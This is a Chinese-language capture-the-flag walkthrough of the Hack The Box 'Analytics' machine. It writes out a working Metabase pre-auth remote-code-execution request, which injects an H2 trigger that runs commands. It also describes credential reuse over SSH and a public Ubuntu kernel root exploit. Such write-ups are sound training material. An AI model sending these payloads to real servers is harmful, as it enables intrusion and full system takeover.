靶场 · 2023年11月1日 0

HTB-Analytics[easy]靶机

一、打点

拿到靶机地址,namp扫描开放端口,发现开放22,80端口

直接访问80端口自动跳转至analytical.htb,将域名加入hosts文件,之后访问域名。

大题浏览功能点,发现导航栏login链接data.analytical.htb,将其加入hosts文件。

访问data.analytical.htb,发现一个登录页,因为题目难度为easy,因此考虑是否是存在近期公开漏洞可直接getshell。

阿里漏洞库检索,发现果然存在rce漏洞,并且存在公开poc。

网上检索POC,发现文章https://blog.csdn.net/qq_41904294/article/details/131990310。

首先获取set-token

GET /api/session/properties HTTP/1.1
Host: your-ip

其次直接RCE

POST /api/setup/validate HTTP/1.1
Host: your-ip
Content-Type: application/json
 
{
    "token": "token值",
    "details":
    {
        "is_on_demand": false,
        "is_full_sync": false,
        "is_sample": false,
        "cache_ttl": null,
        "refingerprint": false,
        "auto_run_queries": true,
        "schedules":
        {},
        "details":
        {
            "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('执行的命令')\n$$--=x",
            "advanced-options": false,
            "ssl": true
        },
        "name": "test",
        "engine": "h2"
    }
}

拿到立足点

二、信息收集

拿到立足点后直接搜索user.txt文件,无果,因此进一步信息收集。

为了方便,通过脚本linpeas进行信息收集,工具地址https://github.com/carlospolop/PEASS-ng

kali用python开一个http服务,靶机拿wget下载linpeas,脚本结果中发现env变量存在账户和口令,并且该靶机运行在docker容器下。顺便看一下靶机内网ip和arp表,发现靶机为172.17.0.2,arp表中存在172.17.0.1的机器,推测user.txt在172.16.0.1这个地址。

账户密码是首先关注的,拿到两个账户metabase、metalytics,一个密码An4lytics_ds20223#

联想之前端口扫描结果,机器开启了ssh服务,尝试登录。

最终通过metalytics/An4lytics_ds20223#成功登录靶机。

该内网ip为172.17.0.1,拿到第一个flag

三、提权

ssh登录后的banner信息提示系统为ubantu22.04.3,uname -a确认一下

先检索是否存在内核提权漏洞,google检索”ubuntu 22.04 提权“,发现存在提权漏洞。

拿CVE编号去github找exp,

发现https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629/blob/main/exploit.sh

直接拿exp开打,拿下root权限。

四、总结

靶机总体难度不高,感觉主要考察细心和漏洞检索能力,漏洞细节网上均已公开,直接拿现成poc即可拿下本台靶机。